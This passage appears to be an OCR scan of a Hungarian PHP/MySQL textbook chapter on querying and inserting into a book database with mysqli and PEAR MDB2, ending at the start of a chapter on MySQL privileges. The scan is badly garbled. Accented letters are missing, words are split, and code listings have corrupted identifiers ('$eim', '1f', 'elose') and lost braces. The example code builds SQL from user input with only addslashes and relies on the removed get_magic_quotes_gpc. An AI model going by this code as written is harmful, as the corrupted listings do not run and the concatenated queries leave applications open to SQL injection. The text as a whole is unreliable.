ll. fejezer

Adatbzis lekrdezse a webrl


Minden kdban,amit arra hasznlunk,hogy a webrl rjnk el egy adatbzist,az albbi alaplpseket kell kvetnnk:
l. A felhasznltl rkez adatok ellenrzse s szrse.
2. Kapcsolat ltrehozsa a megfelel adatbzishoz.
3. Az adarbzis lekrdezse.
4. Az eredmnyek visszakeresse.
5. Az eredmnyek megjelenrse a felhasznlnak.

Ezeket a lpseket kvettk az eredmenyek. php kdban is,nzzk meg most ezeket egyenknt!

ll

A felhasznltl rkez adatok ellenrzse s szrse


A kd azzal kezddik,hogy eltvoltjuk a felhasznl ltal a keressi kifejezs el vagy utn vletlenl bert fehrkz karakte
reket. Ezt gy rhetjk el,hogy a trim() fggvnyt a

$_POST [ 'keresesi_kifejezes' l

rtkre alkalmazzuk,amikor

rvidebb nevet adunk neki:


$keresesi_kifejezes=trim($_POST['keresesi klfeJezes'));

A kvetkez lps annak ellenrzse,hogy a felhasznl adott-e meg keressi kifejezst,s kivlasztotta-e a keress pust.
Figyeljk meg. hogy a keressi kifejezs megltnek ellenrzse az utn trtnik,hogy eltvoltjuk a $ keresesi_kifejezes
szleirl a fehrkz karaktereket! Ha fordtott sorrendben szerepelne ez a kt kdsor, akkor elfordulhatna olyan eset, hogy
a felhasznl keressi kifejezse nem res,gy nem hoz ltre hibazenetet sem; viszont csupa fehrkz karakterbl ll, amelye
ket a trim ( ) kivtel nlkl eltvolt:
if (! $keresesi_tipus
echo

"

l l

! $keresesi kifejezes)

Nem adta meg a keressi feltteleket.

{
Krjk,

adja meg ezeket!";

exit;

Ellenrizzk a $keresesi_tipus vlrozt,noha az jelen esetben egy SELECT HTML utasrsbl szrmazik! Krdez
hetnnk,mirt rdemes bajldni egy olyan adat ellenrzsvel, amelyet be kell rni. Nem szabad elfelejteni, hogy tbb fellet
is kapcsoldhat adarbzisunkhoz. Az Amazonnak pldul szmos lenyvllalata van,amely rnind az anyacg keressi fellett
hasznlja. Azrt is clszer szrni az adatokat,mert a klnbz belpsi pontokrl rkez felhasznlk miatt biztonsgi
problmk keletkezhetnek.
Arnikor felhasznlk ltal bevitt adatokat terveznk felhasznlni,minden esetben ki kell szrni bellk a vezrl karaktere
ket. Mint emlkezhetnk,a
stripslashes()

Karakterlncok kezelse s regulris kifejezsek cm 4. fejezetben olvashattunk az addslashes(),

s get_magic_ quotes_gp c() fggvnyrL Brmilyen felhasznli inputot kldnk olyan adatbzisba,

mint a MySQL,vdkaraktercel kell elltni az adatokat.


Ebben az esetben a get_magic_quotes_gpc ( ) fggvny rtkt ellenrizzk. Ebbl megrudjuk,hogy az idzjelek hoz
zadsa automatikusan trtnik-e. Ha nem,az
if (!get_maglc quotes gpc())

addslashes ()

$keresesi tlpus = addslashes($keresesi


$keresesl klfejezes

fggvnyekkel emelhetjk ki az adatokat vdkarakterrel:

{
tlpus);

addslashes($keresesl klfejezes);

A stripslashes() fggvnyt az adatbzisbl rkez adatokon is hasznljuk. Ha a magic quotes funkci be van kapcsol
va,az adatok perjeleket fognak tartalmazni, amikor visszajnnek az adatbzisbl. gy el kell tvoltani azokat.
A pldban a htmlspecialchars ( ) fggvnnyel kdoljuk a HMTL-ben klnleges jelentssei br karaktereket. A je
lenlegi tesztadatok nem tartalmaznak s(&),kisebb,rnint(<),nagyobb,mint (>) vagy dupla idzjeleket("),m szmtalan
olyan knyvcm ltezik,amelyben s jel tallhat.(Ez elssorban angol nyelvterleten jellemz, magyar cmekre kevsb igaz.)
A fggvny hasznlatval ksbbi hibkat elzhetnk meg.

Kapcsolat ltrehozsa
A MySQL-hez kapcsoldsta hasznlhat PHP knyvtr neve mysqli(az i az improved,vagyis.,tovbbfejlesztett" szra utal).
Arnikor mysqli knyvrrat hasznlunk PHP-ben,objektumorientlt s procedurlis szintaktikt egyarnt alkalmazhatunk.
A kdban az albbi sorral kapcsoldunk a MySQL kiszolglhoz:
@ $adatbazis

new mysqli ('localhost',

'boakorama',

'bookoramal23',

'konyvek');

E sor ltrehozza a mysqli osztly egy pldnyt,s boakorama felhasznlnvvel s bookoramal 23 jelszval kapcsola
tot ltest a

localhost

nev szmtgphez. A kapcsolat a konyvek nev adatbzis hasznlatra jn ltre.

MySQL adatbzis elrse a webrl PHP-vel

185

Ha az objektumorientlt megkzeltst kvetjk, az objektum metdusait meghvva rhetjk el az adatbzist. Ha jobban


kedveljk a procedurlis megkzeltst, a mysqli ennek hasznlatt is megengedi. Ebben az esetben az albbi kddal kapcsold
hatunk ugyanehhez az adatbzishoz:
@ $adatbazis

mysqli connect('localhost',

'boakorama',

'bookoramal 23',

'konyvek');

Ez a fggvny objektum helyett erforrst ad vissza. Ez jelkpezi az adatbzishoz val csatlakozst, s ha ezt a procedurlis
megkzeltst kvetjk, ezt az erforrs-vltozt kell tadnunk minden ms mysqli fggvnynek. Ez igen hasonl ahhoz,
ahogy a fjlkezel fggvnyek, pldul az fopen () mkdik.
A mysqli fggvnyek tbbsge objektumorientlt fellettel s procedurlis fellettel is rendelkezik. ltalnossgban az kz
tk a klnbsg, hogy a procedurlis verzij fggvnynevek mysql_-lel kezddnek, s megkvetelik a mysql_connect ()

fggvnybl megkapott erforrs-vltoz tadst. Az adatbzis-kapcsaldsok kivtelt kpeznek e szably all, mivel a mysqli
objektum konstruktora ltal is ltrehozhatk.
A kapcsoldsi kisrlet eredmnyt rdemes ellenrizni, mert a kd tbbi rsze nem fog megfelel adatbzis-kapcsolat nlkl
mkdni. A kvetkez kddal hajthatjuk vgre ezt
1f (mysqli connect_errno())
echo

'Hiba:

az

ellenrzst:

Nem sikerlt kapcsoldni az adatbzishoz.

Krjk,

prblkezzon ksbb!';

exit;

(A fenti kd mkdse az objektumorientlt s a procedurlis megkzelts esetn is ugyanaz.) A


errno

mysqli _connect_

() fggvny hiba esetn hibakdot, sikeres kapcsolds esetn nullt ad vissza. Figyeljk meg, hogy

kapcsoldskor a kdsort a hibaelnyom mveleti jellel

(Ugyangy kellene eljrni a kivtelekkel is, ezeket azonban ebben


Ne fele<ljk, hogy

az

adatbzishoz

az

egyszer pldban nem alkalmazzuk.)

egyidej MySQL kapcsolatok szma korltozott! A lehetsges legnagyobb rtket a max_

MySQL paramter hatrozza meg. Ennek s a hozz kapcsold

connections

az

(@) kezdjk! Ez lehetv teszi a hibk fjdalommentes kezelst.

MaxClients

Apache paramternek az

a clja, hogy utastsk a szervert az j kapcsaldsok elutastsra, megakadlyozva azt, hogy forgalmas idszakokban vagy
szaftverproblma esetn tlzott mrtkben vegyk ignybe a gp erforrsait.
Mindkt paramter alaprtelmezett rtkt a konfigurcis fjlok szerkesztsvel tudjuk mdostani. Az Apache
paramternek megvltoztatshoz rendszernk

MaxClients
con nections

httpd. conf

llomnyt kell szerkeszteni. A MySQL max_

pararmtert a my. conf fjlban rjk el.

A hasznlni kvnt adatbzis kivlasztsa


Ne feledjk, hogy amikor parancssori felletrl hasznljuk a MySQL-t, kzlni kell vele, hogy melyik adatbzissal terveznk
dolgozni! Egy ilyen paranccsal tehetjk meg ezt:
use konyvek;

Erre internetrl val kapcsolds esetn is szksg van. A hasznlni kivnt adatbzist paramterknt hatrozhatjuk meg
a mysqli konstruktor vagy a mysqli _connect () fggvny szmra. Ha meg akarjuk vltaztami az alaprtelmezett adat
bzist, a mysql_ select_ db() fggvnnyel tehetjk meg.
Ezt a fggvnyt az
$adatbazis->select_db(adatbazis neve)

illetve a
mysql_select_db(adatbazis_eroforras,

adatbazis_neve)

formban rhetjk el.


Itt lthatjuk a fggvnyek kztti klnbsget, amire korbban utaltunk: a procedurlis vltozat mysql_-lel kezddik, s
kri az adatbzis-erforrsra mutat paramtert.

Az adatbzis lekrdezse
Az adatbzis tnyleges lekrdezshez a mysqli_query() fggvnyt hasznlhatjuk. Ezt megelzen azonban rdemes ltre
hozni a futtatni kivnt lekrdezst:
$lekerdezes

"SELECT

FROM konyvek WHERE ". $ keresesi_tipus." LIKE

'%". $ keresesi

kifejezes. "% 1 ";

Ebben az esetben a felhasznl ltal megadott rtkre ( $ keresesi _kifej ezes ) keresnk a felhasznl ltal meghatro
zott mezben

( $keresesi_tipus). Figyeljk meg, hogy az EQUAL helyett a LIKE mveleri jelet hasznljuk az illesztshez:

adatbzisban keress esetn rdemes kicsit,.engedkenyebbnek" !nni.

ll

186

ll. fejezet

Tipp: Ne feledjk, hogy- a MySQL monitorba begpelend lekrdezssei ellenttben -a MySQL-nek kldend lekrdezs
vgre nem kell pontosvessz!

Mosr mr lefuttathatjuk a lekrdezse:


$talalat

$adatbazis->query($lekerdezes);

Ha a procedurlis felleret kvnjuk hasznlni, akkor a kvetkezket kell bernunk:

$talalat = mysqli query($adatbazis,

$lekerdezes);

tadjuk a futcaeni kivfut lekrdezst s - a procedurlis fellet esetn - az adatbzisra mutat kapcsolatot (ami jelen eset

ll

ben is az $adatbazis) .

Az objektumorientlt vltozat eredmnyobjektumot, a procedurlis pedig eredmny-erforrst ad vissza. (Hasonlan ah

hoz, ahogy a kapcsoldsi fggvnyek mkdnek.) Ksbbi felhasznls cljbl mindkt esetben vltozban ( Stalalat)

troljuk el az eredmnye. Hiba esetn a fggvny false rtkkel tr vissza.

A lekrdezs eredmnyeinek visszakeresse


Sokfle fggvny ll rendelkezsnkre, hogy klnbz mdszerekkel kinyerjk az eredmnyobjektumbl vagy -azonostbl

a tnyleges eredmnyt. Az eredmnyobjektum vagy -azonost a lekrdezs ltal visszaadon sarok elrsnek a kulcsa.
Pldnkban megszmoltuk a visszaadon sarok szmt, s a mysqli_fetch_assoc ( ) fggvnyt is hasznltuk.

Az objektumorientlt megkzelts hasznlata esetn az eredmnyobjektum num_rows tagja trolja a visszaadott sarok

szmt, s a kvetkezkppen rhetjk el ezt:

$talalatok_szama = $talalat->num_rows;

Procedurlis megkzelts alkalmazsakor a mysqli_num_ rows() fggvny adja meg szmunkra a lekrdezs ltal vissza

adott sarok szmt. t kell neki adni az eredmnyazonostt, pldul gy:


$talalatok_szama = mysqli_num_rows($talalat);

Azrt rdemes tudni ezt, mert ha tervezzk az eredmnyek feldolgozst vagy megjelentst, a sarok szma alapjn ciklus

sal vgiglpkedhetnk raJtuk:


for ($i=O;

$i <$talalatok_szama;

$i++)

ll eredmnyek feldolgozsa

A ciklus minden ismtldsnek a $talalat->fetch_assoc () (vagy a mysqli_fetch_assoc ())fggvnyt hvjuk

meg. Ha a lekrdezs egyetlen sort sem ad vissza, akkor a ciklus nem fut le. A fggvny egyenknt veszi az eredmnyhalmaz

sorait s tmbknt adja vissza azokat, amely tmbben rninden kulcs egy oszlopnv, s rninden rtk az annak megfelel rtk:
$sor = $talalat->fetch_assoc();

Termszetesen in is hasznlhatjuk a procedurlis megkzeltst:

$sor = mysqli fetch_assoc($talalat);

Mivel adott a $sor tmb, minden egyes mezn vgigmehetnk, s megfelelkppen megjelenthetjk azokat, ahogy tesszk

az albbi pldban is:

echo "<br />ISBN:

";

echo stripslashes($sor['isbn'));

Mint mr emltettk, a stripslashes ( ) fggvnyt azrt hvjuk meg. hogy megjelents eltt rendbe rakjuk az rtket.

Szmtalan klnbz mdszer ltezik, hogy megkapjuk az eredmnyazonostbl az eredmnyeket. A mysqli_fetch_

row () fggvnnyel pldul elnevezett kulcsokkal rendelkez tmb helyen szmokkal indexelt tmbben kapjuk vissza az ered

mnyeket, pldul gy:

$sor = $talalat->fetch row($talalat);

vagy gy:

$sor = mysqli fetch row($talalat);

A tulajdonsgrtkek a $sor [O], $sor [l) stb. tmbrtkekbe kerlnek. (A mysqli_fetch_array () fggvnnyel

a ktfle tmb brmelyikbe rakhatjuk a sorokat.)

A mysqli_fetch_object() fggvnnyel objektumba is tehetjk a sorokat:

$sor = $talalat->fetch object();

illetve
$sor = mysqli fetch_object($talalat);

Ekkor a $sor->cim, $sor->szerz stb. mdon rhetjk el a tulajdonsgokat.

MySQL adatbzis elrse a webrl PHP-vel

187

Kapcsolat bontsa az adatbzissal


Az eredmnyhalmazt a
$talalat->free();

vagy a
mysqli_free_result($talalat);

meghvsval szabadthatjuk fel. Ezt kveten az


$adatbazis->close();

vagy a
mysqli_close($adatbazis);

meghvsval szakthatjuk meg a kapcsolatot az adatbzissal. Nem felttlen van szksg erre a parancsra, mivel a kapcsolat
akkor is lezrdik, ha a kd befejezi a futst.

j informci

felvitele az adatbzisba

j elemek adatbzisba trtn felvitele mdfelett hasonlt ahhoz a folyamathoz, amikor adatokat nyernk ki az adatbzisbL
Ugyanazokat az alapvet lpseket kvetjk: kapcsolatot ltestnk, lekrdezst kldnk, s ellenrizzk az eredmnyeket.
Ebben az esetben azonban az elkldend lekrdezs SELECT helyett INSERT.
Br a folyamat hasonl, rdemes mgis egy pldn kereszrl megvizsglni. A 11.3 brn egyszer HTML rlapot lrunk,
amivel knyveket lehet felvinni az adatbzisba. Az oldal HTML kdjt a 11.3 pldakd tartalmazza.

Book-0-Rama

- j knyv felvitele

""' [;,;_:.:.:.:. ;_ _ -----

'-=--=--=--=--=-':::. ==-::. -::. ":L"'

:st-------

11.3 bra: A Book-O-Rama alkalmazottai ilyenfelletet hasznlhatnak a knyvek adatbzisba val fel vitelre.
11.3 pldakd: uj_konyv.html-A knyvekfelvitelre szolgl oldal HTML kdja
<html>
<head>
<title>Book-0-Rama - j

knyv felvitele</title>

</head>
<body>
<hl>Book-0-Rama - j knyv felvitele</hl>
<form action="konyv_beszurasa.php" method="post">
<table border="O">
<tr>
<td>ISBN</td>
<td><input type="text" name="isbn" maxlength="l3" size="l3"></td>
</tr>
<tr>
<td>Szerz</td>
<td> <input type="text" name="szerzo" maxlength="30" size="30"></td>
</tr>
<tr>
<td>Cm</td>
<td> <input type="text" name="cim" maxlength="60" size="30"></td>
</tr>
<tr>
<td>r $</td>

ll

188

ll. fejezet

<td><input type="text" name="ar" maxlength="7" size="7"></td>


</tr>
<tr>
<td colspan="2"><input type="submit" value="Rgzits"></td>
</tr>
</table>
</form>
</body>

ll

</html>

Az rlap eredmnyeit a konyv _beszurasa. php adja tovbb, ez az a kd, amely fogja a rszleteket, elvgez nhny aprbb
ellenrzst, majd megksrli berni az adatokat

adatbzisba. Ezt a kdot lthatjuk a 11.4 pldakdban.

az

11.4 pldakd: konyv_beszurasa.php-Ez

a kd rja be az j knyveket az adatbzisba

<html>
<head>
<title>Book-0-Rama

knyvfelviteli eredmnyek</title>

</head>
<body>
<hl>Book-0-Rama knyvfelviteli eredmnyek</hl>
<?php

ll rvid vltoznevek ltrehozsa


$isbn=$ POST['isbn'];
$szerzo=$_POST['szerzo'];
$eim=$ POST['cim'];
$ar=$_POST['ar'];
if (!$isbn

! $szerzo

l l

l l

! $eim

l l

! $ar)

echo "Nem minden adatot adott meg.<br />"


."Krjk,

prblja meg jra'";

exit;

if (!get magic quotes gpc())


$isbn = addslashes($isbn);
$szerzo = addslashes($szerzo);
$eim = addslashes($cim);
$ar = doubleval($ar);

@ $adatbazis = new mysqli( 'localhost',

' boakorama',

'bookoramal 23',

'konyvek');

if (mysqli connect_errno())
echo "Hiba:

Nem sikerlt kapcsoldni az adatbzishoz.

Krjk,

prblkezzon

ksbb'";

exit;

$lekerdezes = "INSERT INTO konyvek VALUES


('".$isbn."''

'". $szerzo."''

'".$eim."',

'".$ar."')";

$talalat = $adatbazis->query($lekerdezes);

if ($talalat)
echo $adatbazis->affected_rows." db knyv hozz lett adva az adatbzishoz.";
else
echo "Hiba trtnt. A knyvet nem sikerlt hozzadni.";

MySQL adatbzis elrse a webrl PHP-vel

189

$adatbazis->elose();
?>
</body>
</html>

A 11.4 brn egy sikeres adatfelvitel eredmnyt ltharjuk.

ll

Book-O-Rama knyvfelviteli eredmnyek


, .. "'-"'._.................

\
11.4 bra: A

Ha megvizsgljuk a

kd sikeresen lefut, s kzli, hogy a knyvet hozzadta az adatbzishoz.

k onyv_beszurasa.php

kdjt, ltharjuk, hogy nagyrszt hasonl ahhoz a kdhoz, amit azrt rrunk,

hogy adatot nyerjnk vissza az adatbzisbL Ellenrizzk, hogy az rlap minden mezje ki lett-e tltve, majd - ha szksges addslashes()

az

fggvnnyel formzzuk az adatokat, hogy megfelel formban kerljenek be az adatbzisba:

if (!get_magie_quotes_gpe())

$isbn = addslashes($isbn);
$szerzo = addslashes($szerzo);
$eim = addslashes($eim);
$ar = doubleval($ar);

Mivel az rat float tpus adatknt troljuk az adatbzisban, nem kivnunk perjeleket beletenni. E numerikus mez esetben
a PHP gyorstalpal cm, legels fejezetbl megismert

doubleval

() fggvny meghvsval szrherjk ki a nem kivnt karak

tereket. A fggvny a felhasznl ltal az rlapba esetlegesen bevitt pnznemszimblumokra is figyel.


Irt is a mysqli pldnynak ltrehozsval, illetve az adatbzisnak kldend lekrdezs megalkotsval kapcsoldunk az

adatbzishoz. Jelen esetben a lekrdezs egy SQL INSERT:


$lekerdezes = "INSERT INTO k onyvek VALUES
('".$isbn."',

'".$szerzo."',

'".$eim."',

'".$ar."')";

$talalat = $adatbazis->query($lekerdezes);

A lekrdezst az $adatbazis->query( ) (procedurlis megkzelts esetn a


az

mysqli_query

())meghvsa hajrja vgre

adatbzison.
Az INSERT s a SELECT kztt jelents klnbsg van a

mysqli_ affeeted_ rows

() hasznlatban. Procedurlis

vltozatban ez egy fggvny, objektumorientlt vltozatban pedig az osztly egy tagvltozja:


echo $adatbazis->affeeted_rows." db knyv hozz lett adva az adatbzishoz.";

Az elz kdban a

mysqli _num_ rows

Amikor az adatbzist mdost, gy

() segtsgvel llaptottuk meg, hogy hny sort adott vissza a SELECT lekrdezs.

INSERT, DELETE

s UPDATE lekrdezseket runk, a mysqli_affeeted_rows ()-t

kell helyette hasznlni.


Ezzel ttekintettk a MySQL adatbzisok PHP-beli hasznlatnak alapjait.

Elfordtott utastsok hasznlata


A mysqli knyvtr tmogatja az elfordtott utastsok (prepared statement)hasznlatr. Ezek elnye, hogy felgyorstjk a fimatst,
amikor klnbz adatokon sokszor hajtjuk vgre ugyanazt a lekrdezst. Emellett az SQL injection tpus tmadsok ellen is vdenek.
Az elfordtott utastsok lnyege, hogy elszr elkldjk a MySQL-nek a vgrehajtani kvnt lekrdezs sablonjt, majd
kln kldjk el az adatokat. Rengetegszer elkldhetnk ugyanolyan adatokat ugyanannak az elfordtott utastsnak; ez a le
hetsg klnsen nagy mennyisg adat bevitelnl hasznos.
A kvetkezkppen hasznlhatunk elfordtott utastsokat a
$lekerdezes = "INSERT INTO konyvek VALUES(?,

ko nyv_besz u ras a.php

?,

?,

kdban:

?)";

$utasitas = $adatbazis->prepare($lekerdezes);
$utasitas->bind_param(" sssd",

$isbn,

$szerzo,

$eim,

$ar);

$utasitas->exeeute();
echo $utasitas->affeeted_rows.' db knyv hozz
$utasitas->elose();

lett adva az

adatbzishoz. ';

190

ll. fejezet

Nzzk t a kdot sorrl sorra! Amikor ltrehozzuk a lekrdezst, a korbban alkalmazott vltoz-behelyettests helyett
krdjeleket tesznk az egyes adatok helyre. Nem szabad sem idzjeleket, sem egyb hatrol karaktert raknunk a kr
djelek kr. A msodik sor az $adatbazis->prepare() meghvsa; procedurlis vltozat esetn ez a mysqli _stmt_
prepare

() meghvsa lesz. Ez a sor hozza ltre az utastsobjektumot vagy erforrst, amit majd a tnyleges feldolgozs

vgrehajtshoz fogunk felhasznlni.


Az utastsobjektum rendelkezik egy b ind_pa ram() nev metdussal. (Procedurlis vltozat esetn neve mysql i_
stmt_b ind_param

().) A metdus feladata kzlni a PHP-vel, mely vltozk kerlnek a krdjelek helyre. Az els para

mter egy formrum karakterlnc, hasonl ahhoz, amelyet a printf() fggvnyben hasznlunk. A pldban radott rtk

ll

(" sssd" ) azt jelenti, hogy a ngy paramter string. string. string. illetve double tpus. A formrum karakterlncban kt
tovbbi karakter hasznlhat: i s b, amelyek az integer, illetve a blob tpusokat jellik. E paramter utn annyi vltozt kell
felsorolni, ahny krdjel szerepel az utasts ban. A megadott sorrendben lesznek behelyerrestve.
Az $utasi tas->execute() (procedurlis vltozat esetn a mysqli_stmt_execute ()) meghvsa futtatja le magt
a lekrdezst. Ezt kveten frnk hozz az rintett sorokhoz, s zrjuk le az utastst.
Mirt hasznos teht a fenti elfordtott utasts? Az benne a szp, hogy ha megvltoztatjuk a ngy kttt vltoz rtkr,
anlkl futtathatjuk le jbl az utastst, hogy mg egyszer meg kellene rnunk. Igen praktikus tud lenni, arnikor ciklust hasz
nlunk tmeges adatfelvitelnL
Nem csak a paramtereket lehet"megktni'; hanem az eredmnyeket is. SELECT tpus lekrdezseknl az $utas itas
>bind_result

() (illetve a mysqli_stmt_bind_result() ) fggvnnyel adhatjuk meg azon vltozk listjt, amelyeket

szeremnk az eredmnyoszlopokba betltemi. Minden egyes alkalommal, amikor meghvjuk az $utas itas->fetch ()-t
(illetve a mysqli_stmt_fetch ()-t), az eredmnyhalmaz kvetkez sorban lv oszloprtkek betltdnek ezekbe a kttt
vltozkba. A korbban hasznlt, knyvkeres kdban pldul a kvetkezt hasznlhatnnk:
$utasitas->bind_result($isbn,

$szerzo,

$eim,

$ar);

Ezzel a lekrdezs ltal majd visszaadand ngy oszlophoz kmnk ezt a ngy vltozt. Az
$utasitas->execute();

meghvsa utn a kvetkez fggvnyt hvnnk meg a ciklusban:


$utasitas->fetch();

Minden meghvsakor a kvetkez eredmnysort rakja be a ngy kttt vltozba. Ugyanebben a kdban termszetesen
hasznlhatnnk amysqli stmt_bind_param() s a mysqli stmt_bind_result() fggvnyt is.

Egyb PHP adatbzisillesztsek hasznlata


A PHP klnbz adatbzisokhoz - kztk az Oracle-hoz, a Microsoft SQL Serverhez s a PosrgreSQL-hez - val csadako
zsra alkalmas knyvtrakat tmogat.
Az ezekhez az adatbzisokhoz val csatlakozsnak, illetve ezen adatbzisok lekrdezsnek az elvei ltalnossgban igen ha
sonlk. Az egyes fggvnynevek ugyan elerk lehetnek, s az egyes adatbzisok funkciikban klnbzhetnek, de ha tudjuk,
hogyan kapcsoldjunk MySQL-hez, akkor knnyedn alkalmazhatjuk tudsunkat ms adatbzisokra is.
Amennyiben olyan adatbzissal kvnunk dolgozni, amelyiknek nem ltezik PHP-ben knyvtra, akkor az ltalnos ODBC
fggvnyeket hasznlhatj uk. Az ODBC, amely az Open Database Connectivity (nylt adatbzis-sszekapcsolhatsg) rvid
tse, az adatbzisokhoz kapcsolds szabvnya. Nyilvnval okokbl fggvnycsoportjai csak a legkorltozottabb funkcikra
kpesek. Ha mindennel kompatibilisnek kell lennnk, akkor semminek nem tudjuk kihasznlni a klnleges funkciit.
A PHP-ben elrhet knyvtrak mellett az olyan adatbzis-absztrakcis osztlyok, mint pldul az MDB2, lehetv teszik,
hogy ugyanazokat a fggvnyneveket hasznljuk minden adatbzistpusnl.

ltalnos adatbzisilleszts hasznlata: PEAR MDB2


Nzznk egy rvid pldt a PEAR MDB2 absztrakcis rteg hasznlarvall Ez az sszes PEAR komponens kzl az egyik
legszlesebb krben hasznlt. Az MDB2 absztrakcs rteg teleptsre A PHP s a MySQL teleptse cm Fggelk A Pear
teleptse rszben tallunk informcit.
Az sszehasonlts kedvrt nzzk meg. hogyan rnnk meg a keressi eredmnyek kdjt MDB2-vel!
11.5 pldakd: eredmenyek _altalanos. php-Eredmnyek visszakeresse a MyS adatbzisbl sJormzsuk a megjelentshez
<html>
<head>

MySQL adatbzis elrse a webrl PHP-vel

191

<title>Book-0-Rama keressi eredmnyek<ltitle>


<l head>
<body>
<hl>Book-0-Rama keressi eredmnyek<lhl>
<?php
ll rvid vltoznevek ltrehozsa
$keresesi tipus=$ POST['kereses_tpus'];
$keresesi_kifejezes=trim($_POST['keresesi_kifejezes']);

if (!$keresesi_tipus

l l

ll

1$keresesi_kfeJezes)

echo 'Nem adta meg a keressi feltteleket. Krjk,

adja meg ezeket!';

exit;

if (!get_magic_quotes_gpc())

$keresesi_tipus = addslashes($keresesi_tipus);
$keresesi kifejezes

addslashes($keresesi kfejezes);

ll felkszls a PEAR MDB2 hasznlatra


require_once('MDB2.php');
$felhasznalo = 'bookorama';
$jelszo = 'bookoramal23';
$host = 'localhost';
$adatbazis_neve = 'konyvek';

ll univerzlis kapcsoldsi sztring vagy DSN belltsa


$dsn = "mysqli:ll".$felhasznalo.":".$jelszo."@".$host."l".$adatbazis_neve;

ll kapcsolds az adatbzishoz
$adatbazis = &MDB2::connect($dsn);

ll kapcsolds eredmnynek ellenrzse


if (MDB2::isError($adatbazis))

echo $adatbazis->getMessage();
exit;

ll lekrdezs vgrehajtsa
Slekerdezes = "SELECT *

FROM konyvek WHERE ".$keresesi_tipus

." LIKE '%".$keresesi_kifejezes."%'";


$talalat = $adatbazis->query($lekerdezes);

ll az eredmny ellenrzse
if (MDB2::isError($talalat))
echo $adatbazis->getMessage();
exit;

ll visszakapott sarok szmnak megllaptsa


Stalalatok szama = $talalat->numRows();

ll visszakapott sarok megjelenitse


for ($i=O;

$i <$talalatok_szama;

$i++)

192

ll. fejezet

$sor = $talalat->fetchRow(MDB2 FETCHMODE_ASSOC);


echo "<p><strong>".($i+l).". Cm: ";
echo htmlspecialchars(stripslashes($sor['cim']));
echo "</strong><br />Szerz6: ";
echo stripslashes($sor['szerzo']);
echo "<br />ISBN: ";
echo stripslashes($sor['isbn']);
echo "<br />Ar: ";

ll

echo stripslashes($sor['ar']);
echo "</p>";

ll adatbzishoz kapcsolds megszntetse


$adatbazis->disconnect();
?>
</body>
</html>

Vizsgljuk meg. miben klnbzik ez a kd korbbi vltozattl! Az adatbzishoz kapcsoldsra az albbi sort hasznljuk:
$adatbazis = MDB2::connect($dsn);

A fggvny egy univerzlis kapcsoldsi karakterlncot fogad el, amely az adatbzishoz kapcsoldshoz szksges minden
paramcert tartalmaz. Eze akkor lchaguk, ha a kapcsoldsi karakterlnc formcumra nznk:
$dsn = "mysqli://".$felhasznalo.":".$jelszo."@".$host."/".$adatbazis_name;

Eze kveten az isError () mecdus segtsgvel ellenrizzk, sikerlc-e a kapcsolds, ha nem, a hibazenet kirsa utn
a kd vgrehajtsa vget r:
if (MDB2::isError($adatbazis))

echo $adatbazis->getMessage();
exit;

Amennyiben minden jl alakul, ezt kveten ltrehozzuk s vgrehajljuk a lekrdezse:


$talalat = $adatbazis->query($lekerdezes);

Ellenrizzk a visszaadott sorok szmt:


$talalatok szama = $talalat->numRows();

A kvetkezkppen keressk vissza az egyes sorokat:


$sor = $talalat->fetchRow(DB FETCHMODE_ASSOC);

Az lcalnos fetchRow() mecdus szmralan formban kpes kezelni a sorokat; az MDB2_ FETCHMODE _ASSOC param
terrel azt kzljk, hogy asszociatv tmbknt kivnjuk visszakapni a sort.
A visszakapott sorok kimenere utn megszncegk a kapcsoldst:
$adatbazis->disconnect();

Lthatjuk, hogy az ltalnos plda igen hasonl az els kdhoz.


Az MDB2 hasznlarnak egyik elnye, hogy elg csak az adacbzis-fggvnyek egyik kszlett megjegyezni, a msik pedig
az, hogy csak kis mrtkben kell kdunkat mdostani, ha gy dntnk, hogy megvltozraguk az adarbzis szofcverc.
Mivel ez a knyv a MySQL-rl szl, a nagyobb sebessg s rugalmassg rdekben a MySQL natv knyvtraival fogunk dol
gozni. Sajt projekgeinkben hasznlhacjuk az MDB2 csomagot is, mert nha j szolglacot tehet absztrakcis rteg hasznlata.

Tovbbi olvasnival
A MySQL s a PHP sszekapcsolsrl a PHP s a MySQL kziknyvek megfelel rszeiben olvashacunk bvebben.
Ha az ODBC-rl szeretnnk tovbbi informcit, ltogassunk el a http:/ /www.webopedia.com/TERM/0/0DBC.htm! oldalra!

Hogyan tovbb?
A kvetkez fejezetben rszleeesebben foglalkozunk a MySQL-adminisztrcival, s megvizsgljuk, hogyan optimalizljuk az
adatbzisokat.

12
Halad

MySQL

...

adminisztrci

A most kvetkez fejezetben halad szint MySQL-tmakrkkel foglalkozunk, kztk a jogosultsgokkal, a biztonsggal s
az

optimalizlssal.
A fejezetben rintert fbb terletek:
A jogosultsgi rendszer alaposabb megismerse
MySQL adatbzisunk biztonsgoss ttele
Tovbbi informcik begyjtse az adatbzisokrl
Gyorsabb mkds indexekkel
Adatbzisunk optimalizlsa
Biztonsgi ments s helyrellts
Replikci megvalstsa

A jogosultsgi rendszer alaposabb megismerse


A Webes adatbzis ltrehozsa m 9. fejezet bemutatta a felhasznlk belltsnak s jogosultsgokkal val felruhzsnak
folyamatt. Lttuk, mindezt hogyan tehetjk meg a GRANT paranccsal. Ha MySQL adatbzis adminisztrcijt kvnjuk ellt
ni, fontos pontosan tisztban lennnk azzal, mit tesz, s hogyan mkdik a GRANT parancs.
Amikor GRANT utastst adunk ki, a mysql nev specilis adatbzis tblit mdostjuk vele. Ezen adatbzis hat tblja
jogosultsgi informcikat trol. ppen ezrt gyelnnk kell, amikor jogosultsgokat oszrunk ki az adatbzisokra, hogy kinek
s mirt adunk hozzfrst a mysql adatbzishoz.
A mysql adatbzis tartalmnak megtekintshez jelentkezznk be rendszergazdaknt, majd gpeljk be a
use mysql;

utastst! Miutn ezt megtertk, a szoksos mdon tekinthetjk meg az ebben az adatbzisban lv tblkat:
show tables;

Az eredmny az albbihoz hasonl kell, hogy legyen:


+---------------------------+
1 Tables_in_mysql
+---------------------------+

columns_priv
db
event
fu ne
general_log
help_category
help_keyword
help_relation
help_topic
host
ndb_binlog_index
plugin
proc
procs_priv
servers
slow_log

194

12. fejezer

tables_priv
time

zone

time

zone leap second

time

zone name

time zone transition


time

zone transition_type

user
+---------------------------+

A fenri tblk mindegyike rendszerinformcikar trol. Kzlk hars procs

priv

user, host, db, tables_priv, columns_pri v

- trolja a jogosultsgi informcikat. (Angolul grant tblkknt is szoks hivatkozni rjuk.) Funkcijukban

ugyan eltrnek egymsrl, de ugyanazt az ltalnos feladarot ltjk el: meghatrozzk, hogy az egyes felhasznlk mit jogosul
